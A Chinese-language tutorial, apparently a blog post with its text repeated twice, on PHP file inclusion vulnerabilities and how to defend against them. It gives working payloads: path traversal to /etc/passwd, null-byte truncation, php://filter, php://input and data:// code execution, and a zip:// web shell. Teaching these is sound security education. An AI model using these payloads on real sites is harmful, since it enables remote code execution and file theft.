目录一、什么是文件包含二、产生文件包含漏洞的原因三、文件包含的类型四、常见绕过技巧1.目录穿越2.长度截断绕过PHP 5.2.x 及更早版本也包含部分 PHP 5.3.x 早期版本3.伪协议利用PHP1.php://filter该协议能读取.php文件的源码2.php://input执行 POST 提交的代码可以读取POST 请求体中的数据—— 当包含该伪协议时PHP 会把 POST 里的内容当作文件内容执行。3. data://直接执行编码后的代码:是数据流协议可直接将 “编码后的代码” 作为文件内容传递给include()执行.4. file://读取本地文件绕开路径过滤:访问本地文件的协议可显式指定绝对路径绕开开发者对相对路径的过滤。5. zip:///phar://压缩包绕过绕开后缀限制:将恶意 PHP 文件压缩成 zip 包通过伪协议直接读取压缩包内的文件绕开 “只允许包含.zip/.rar” 等后缀限制。五、 防御措施一、什么是文件包含文件包含是Web 后端开发中一种代码复用技术指通过特定函数如 PHP 的include()/require()、JSP 的% include %等将服务器上指定文件的内容直接嵌入到当前执行的代码中合并成一个整体执行。简单来说程序员写网站代码时为了偷懒专业叫 “代码复用”会把重复的代码单独存成一个文件用include()函数 “包含” 这些文件减少重复工作。二、产生文件包含漏洞的原因正常的安全的文件包含程序员提前规定好要包含哪个文件用户控制不了。?php // index.php网站首页 // 包含顶部导航栏文件固定写死用户改不了 include(header.php); // 首页自己的内容 echo 欢迎来到csdn; // 包含底部版权文件固定写死用户改不了 include(footer.php); ?有漏洞的文件包含程序员把 “要包含哪个文件” 的决定权交给了用户还不做任何限制。?php // index.php有漏洞的版本 // 从用户的URL里拿参数?pagexxx $page $_GET[page]; // 直接包含用户指定的文件 include($page); ?三、文件包含的类型本地文件包含 LFILocal File Inclusion包含服务器本地已存在的文件。远程文件包含 RFIRemote File Inclusion包含远程服务器上的文件。危害更大但需要 PHP 配置支持。四、常见绕过技巧1.目录穿越?page../../../../etc/passwd./当前目录../返回上级目录2.长度截断绕过PHP 5.2.x 及更早版本也包含部分 PHP 5.3.x 早期版本?pageshell.php%00 ?pageshell.php............................3.伪协议利用PHPPHP 伪协议PHP Wrappers是PHP 内置的 “特殊文件协议”不是真实的网络协议如 HTTP而是 PHP 用来访问不同类型资源的 “内置接口”格式为协议名://参数比如php://filter攻击者用伪协议的核心目的绕过开发者的文件名过滤 / 后缀限制读取源码、执行代码或绕开open_basedir等配置限制。核心配置allow_url_include/allow_url_fopenallow_url_include On最危险攻击者可直接用http:///ftp://包含远程恶意文件远程文件包含 RFIallow_url_include Off阻断 RFI但本地文件包含LFI仍可能被伪协议绕过allow_url_fopen On允许 PHP 通过fopen()/file_get_contents()等函数访问远程文件HTTP/FTPallow_url_fopen Off会影响部分伪协议如data://的生效但php://系列伪协议不受影响因为是内置协议。1.php://filter该协议能读取.php文件的源码?pagephp://filter/readconvert.base64-encode/resourceindex.phpreadconvert.base64-encode将文件内容 Base64 编码后输出避免直接执行 PHP 代码resourceindex.php指定要读取的文件可替换为任意路径如/etc/passwd无配置要求2.php://input执行 POST 提交的代码可以读取POST 请求体中的数据—— 当包含该伪协议时PHP 会把 POST 里的内容当作文件内容执行。先构造 GET 请求http://xxx.com/index.php?pagephp://input用 Burp/Hackbar发送 POST 数据比如执行命令?php system(whoami); ? // 执行系统命令查看当前用户服务器会执行 POST 里的system(whoami)返回当前服务器用户信息。配置要求allow_url_include On必须开启否则包含失败限制仅在POST请求中生效3.data://直接执行编码后的代码:是数据流协议可直接将 “编码后的代码” 作为文件内容传递给include()执行.http://xxx.com/index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pgtext/plain指定数据类型base64,分隔符后面是 Base64 编码的 PHP 代码PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg解码后是?php system(whoami); ?;无需上传文件直接执行代码;配置要求allow_url_fopen Onallow_url_include On;4.file://读取本地文件绕开路径过滤:访问本地文件的协议可显式指定绝对路径绕开开发者对相对路径的过滤。http://xxx.com/index.php?pagefile:///etc/passwd // Linux http://xxx.com/index.php?pagefile://C:/Windows/win.ini // Windows绕过场景开发者过滤了../目录穿越但未过滤file://配置要求无。5.zip:///phar://压缩包绕过绕开后缀限制:将恶意 PHP 文件压缩成 zip 包通过伪协议直接读取压缩包内的文件绕开 “只允许包含.zip/.rar” 等后缀限制。以zip://为例① 把shell.php内容?php eval($_GET[cmd]); ?压缩成shell.zip② 构造请求plaintexthttp://xxx.com/index.php?pagezip:///var/www/html/shell.zip%23shell.php%23是#的 URL 编码分隔压缩包和内部文件服务器会直接执行压缩包内的shell.php无视后缀限制。目标开发者只允许包含.zip后缀文件禁止.php配置要求无PHP5.3.0 支持。五、 防御措施核心根本用白名单限定可包含的文件只允许预设的合法文件彻底杜绝用户控制路径路径管控若需用户输入路径先通过realpath()规范化路径校验是否在允许的目录内拦截目录穿越配置加固保持allow_url_include Off禁用远程包含设置open_basedir限制文件访问范围兜底过滤过滤../、php://等危险字符 / 伪协议强制限定文件后缀仅作为补充不能替代白名单。
文件包含漏洞
目录一、什么是文件包含二、产生文件包含漏洞的原因三、文件包含的类型四、常见绕过技巧1.目录穿越2.长度截断绕过PHP 5.2.x 及更早版本也包含部分 PHP 5.3.x 早期版本3.伪协议利用PHP1.php://filter该协议能读取.php文件的源码2.php://input执行 POST 提交的代码可以读取POST 请求体中的数据—— 当包含该伪协议时PHP 会把 POST 里的内容当作文件内容执行。3. data://直接执行编码后的代码:是数据流协议可直接将 “编码后的代码” 作为文件内容传递给include()执行.4. file://读取本地文件绕开路径过滤:访问本地文件的协议可显式指定绝对路径绕开开发者对相对路径的过滤。5. zip:///phar://压缩包绕过绕开后缀限制:将恶意 PHP 文件压缩成 zip 包通过伪协议直接读取压缩包内的文件绕开 “只允许包含.zip/.rar” 等后缀限制。五、 防御措施一、什么是文件包含文件包含是Web 后端开发中一种代码复用技术指通过特定函数如 PHP 的include()/require()、JSP 的% include %等将服务器上指定文件的内容直接嵌入到当前执行的代码中合并成一个整体执行。简单来说程序员写网站代码时为了偷懒专业叫 “代码复用”会把重复的代码单独存成一个文件用include()函数 “包含” 这些文件减少重复工作。二、产生文件包含漏洞的原因正常的安全的文件包含程序员提前规定好要包含哪个文件用户控制不了。?php // index.php网站首页 // 包含顶部导航栏文件固定写死用户改不了 include(header.php); // 首页自己的内容 echo 欢迎来到csdn; // 包含底部版权文件固定写死用户改不了 include(footer.php); ?有漏洞的文件包含程序员把 “要包含哪个文件” 的决定权交给了用户还不做任何限制。?php // index.php有漏洞的版本 // 从用户的URL里拿参数?pagexxx $page $_GET[page]; // 直接包含用户指定的文件 include($page); ?三、文件包含的类型本地文件包含 LFILocal File Inclusion包含服务器本地已存在的文件。远程文件包含 RFIRemote File Inclusion包含远程服务器上的文件。危害更大但需要 PHP 配置支持。四、常见绕过技巧1.目录穿越?page../../../../etc/passwd./当前目录../返回上级目录2.长度截断绕过PHP 5.2.x 及更早版本也包含部分 PHP 5.3.x 早期版本?pageshell.php%00 ?pageshell.php............................3.伪协议利用PHPPHP 伪协议PHP Wrappers是PHP 内置的 “特殊文件协议”不是真实的网络协议如 HTTP而是 PHP 用来访问不同类型资源的 “内置接口”格式为协议名://参数比如php://filter攻击者用伪协议的核心目的绕过开发者的文件名过滤 / 后缀限制读取源码、执行代码或绕开open_basedir等配置限制。核心配置allow_url_include/allow_url_fopenallow_url_include On最危险攻击者可直接用http:///ftp://包含远程恶意文件远程文件包含 RFIallow_url_include Off阻断 RFI但本地文件包含LFI仍可能被伪协议绕过allow_url_fopen On允许 PHP 通过fopen()/file_get_contents()等函数访问远程文件HTTP/FTPallow_url_fopen Off会影响部分伪协议如data://的生效但php://系列伪协议不受影响因为是内置协议。1.php://filter该协议能读取.php文件的源码?pagephp://filter/readconvert.base64-encode/resourceindex.phpreadconvert.base64-encode将文件内容 Base64 编码后输出避免直接执行 PHP 代码resourceindex.php指定要读取的文件可替换为任意路径如/etc/passwd无配置要求2.php://input执行 POST 提交的代码可以读取POST 请求体中的数据—— 当包含该伪协议时PHP 会把 POST 里的内容当作文件内容执行。先构造 GET 请求http://xxx.com/index.php?pagephp://input用 Burp/Hackbar发送 POST 数据比如执行命令?php system(whoami); ? // 执行系统命令查看当前用户服务器会执行 POST 里的system(whoami)返回当前服务器用户信息。配置要求allow_url_include On必须开启否则包含失败限制仅在POST请求中生效3.data://直接执行编码后的代码:是数据流协议可直接将 “编码后的代码” 作为文件内容传递给include()执行.http://xxx.com/index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pgtext/plain指定数据类型base64,分隔符后面是 Base64 编码的 PHP 代码PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg解码后是?php system(whoami); ?;无需上传文件直接执行代码;配置要求allow_url_fopen Onallow_url_include On;4.file://读取本地文件绕开路径过滤:访问本地文件的协议可显式指定绝对路径绕开开发者对相对路径的过滤。http://xxx.com/index.php?pagefile:///etc/passwd // Linux http://xxx.com/index.php?pagefile://C:/Windows/win.ini // Windows绕过场景开发者过滤了../目录穿越但未过滤file://配置要求无。5.zip:///phar://压缩包绕过绕开后缀限制:将恶意 PHP 文件压缩成 zip 包通过伪协议直接读取压缩包内的文件绕开 “只允许包含.zip/.rar” 等后缀限制。以zip://为例① 把shell.php内容?php eval($_GET[cmd]); ?压缩成shell.zip② 构造请求plaintexthttp://xxx.com/index.php?pagezip:///var/www/html/shell.zip%23shell.php%23是#的 URL 编码分隔压缩包和内部文件服务器会直接执行压缩包内的shell.php无视后缀限制。目标开发者只允许包含.zip后缀文件禁止.php配置要求无PHP5.3.0 支持。五、 防御措施核心根本用白名单限定可包含的文件只允许预设的合法文件彻底杜绝用户控制路径路径管控若需用户输入路径先通过realpath()规范化路径校验是否在允许的目录内拦截目录穿越配置加固保持allow_url_include Off禁用远程包含设置open_basedir限制文件访问范围兜底过滤过滤../、php://等危险字符 / 伪协议强制限定文件后缀仅作为补充不能替代白名单。